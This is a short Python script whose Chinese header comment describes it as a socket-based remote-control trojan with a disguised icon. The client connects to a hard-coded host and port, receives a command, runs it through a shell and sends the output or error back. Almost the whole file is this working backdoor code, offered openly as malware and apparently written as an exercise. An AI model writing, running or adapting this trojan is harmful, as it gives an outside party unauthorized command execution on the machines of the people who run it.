#  编写socket远控木马，拥有伪装ico图表，服务端能够向客户端下达指令，并收到命令成功的回显与报错。


import socket
import subprocess
import shlex

if __name__ == "__main__":
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建socket套接字  走tcp
    s.connect(('192.168.10.130',9999))
    command = s.recv(1024).decode('utf-8')
    try:
        a = subprocess.run(shlex.split(command),stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True,check=True)
        result = a.stdout.decode('gbk')
        s.send(result.encode('gbk'))
    except Exception as e:
        s.send(e.stderr)
    finally:
        s.close()

